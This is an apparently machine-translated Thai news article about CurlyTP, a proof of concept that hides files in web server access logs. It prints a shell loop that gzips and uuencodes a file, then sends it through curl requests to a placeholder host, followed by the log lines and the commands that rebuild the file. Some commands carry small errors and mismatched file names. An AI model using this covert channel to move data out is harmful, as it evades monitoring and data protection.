ตามคำจำกัดความของ Wikipedia dead drop เป็นเครื่องมือสมรู้ร่วมคิดที่ทำหน้าที่ในการแลกเปลี่ยนข้อมูลหรือสิ่งของบางอย่างระหว่างบุคคลที่ใช้สถานที่ลับ แนวคิดก็คือผู้คนไม่เคยพบปะกัน แต่พวกเขายังคงแลกเปลี่ยนข้อมูลเพื่อความปลอดภัยในการปฏิบัติงาน
สถานที่ซ่อนไม่ควรดึงดูดความสนใจ ดังนั้นในโลกออฟไลน์พวกเขาจึงมักใช้สิ่งที่สุขุมรอบคอบ เช่น อิฐที่ร่วนอยู่บนผนัง หนังสือในห้องสมุด หรือโพรงในต้นไม้
มีเครื่องมือการเข้ารหัสและการลบข้อมูลระบุตัวตนมากมายบนอินเทอร์เน็ต แต่ความจริงแล้วของการใช้เครื่องมือเหล่านี้ดึงดูดความสนใจ นอกจากนี้อาจถูกบล็อกในระดับองค์กรหรือภาครัฐ จะทำอย่างไร?
นักพัฒนา Ryan Flowers เสนอตัวเลือกที่น่าสนใจ -
ปรากฎว่าเว็บเซิร์ฟเวอร์ใด ๆ อนุญาตให้คุณบันทึกเกือบทุกข้อความในบันทึก ดอกไม้สงสัยว่าจะใช้สิ่งนี้อย่างไร
เขาเสนอตัวเลือกนี้:
- นำไฟล์ข้อความ (ข้อความลับ) และคำนวณแฮช (md5sum)
- เราเข้ารหัสมัน (gzip+uuencode)
- เราเขียนลงในบันทึกโดยใช้คำขอที่ไม่ถูกต้องโดยเจตนาไปยังเซิร์ฟเวอร์
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
หากต้องการอ่านไฟล์ คุณต้องดำเนินการเหล่านี้ในลำดับย้อนกลับ: ถอดรหัสและแตกไฟล์ ตรวจสอบแฮช (แฮชสามารถส่งผ่านช่องทางเปิดได้อย่างปลอดภัย)
ช่องว่างจะถูกแทนที่ด้วย =+=
เพื่อไม่ให้มีช่องว่างในที่อยู่ โปรแกรมที่ผู้เขียนเรียกว่า CurlyTP ใช้การเข้ารหัส base64 เช่นเดียวกับไฟล์แนบในอีเมล คำขอถูกสร้างขึ้นด้วยคำหลัก ?transfer?
เพื่อให้ผู้รับสามารถค้นหาได้ง่ายในบันทึก
เราเห็นอะไรในบันทึกในกรณีนี้?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
ดังที่ได้กล่าวไปแล้ว หากต้องการรับข้อความลับ คุณต้องดำเนินการในลำดับย้อนกลับ:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
กระบวนการนี้ง่ายต่อการทำให้เป็นอัตโนมัติ การจับคู่ Md5sum และเนื้อหาของไฟล์ยืนยันว่าทุกอย่างได้รับการถอดรหัสอย่างถูกต้อง
วิธีการนั้นง่ายมาก “จุดประสงค์ของแบบฝึกหัดนี้เพียงเพื่อพิสูจน์ว่าไฟล์สามารถถ่ายโอนได้ผ่านคำขอทางเว็บเล็กๆ น้อยๆ ที่ไร้เดียงสา และมันทำงานบนเว็บเซิร์ฟเวอร์ใดก็ได้ที่มีบันทึกข้อความธรรมดา โดยพื้นฐานแล้ว เว็บเซิร์ฟเวอร์ทุกแห่งเป็นที่หลบซ่อน!” Flowers เขียน
แน่นอนว่าวิธีการนี้จะใช้ได้ก็ต่อเมื่อผู้รับสามารถเข้าถึงบันทึกของเซิร์ฟเวอร์ได้ แต่การเข้าถึงดังกล่าวมีให้โดยโฮสต์หลายราย
วิธีการใช้งาน?
Ryan Flowers กล่าวว่าเขาไม่ใช่ผู้เชี่ยวชาญด้านความปลอดภัยของข้อมูล และจะไม่รวบรวมรายการการใช้งานที่เป็นไปได้สำหรับ CurlyTP สำหรับเขา นี่เป็นเพียงการพิสูจน์แนวคิดที่ว่าเครื่องมือที่คุ้นเคยที่เราเห็นทุกวันสามารถนำไปใช้ในลักษณะที่แปลกใหม่ได้
จริงๆ แล้ว วิธีการนี้มีข้อดีมากกว่าเซิร์ฟเวอร์อื่นๆ เช่น "ซ่อน" อยู่หลายประการ
นี่เป็นวิธีหนึ่งในการส่งข้อความผ่านไฟล์บริการ คุณคงจำได้ว่าบริษัทขั้นสูงบางแห่งเคยวางตำแหน่งอย่างไร
แนวคิดก็คือมีเพียงนักพัฒนาเว็บเท่านั้นที่จะเห็นไข่อีสเตอร์นี้ เนื่องจากคนปกติจะไม่ดูส่วนหัวหรือโค้ด HTML
ที่มา: will.com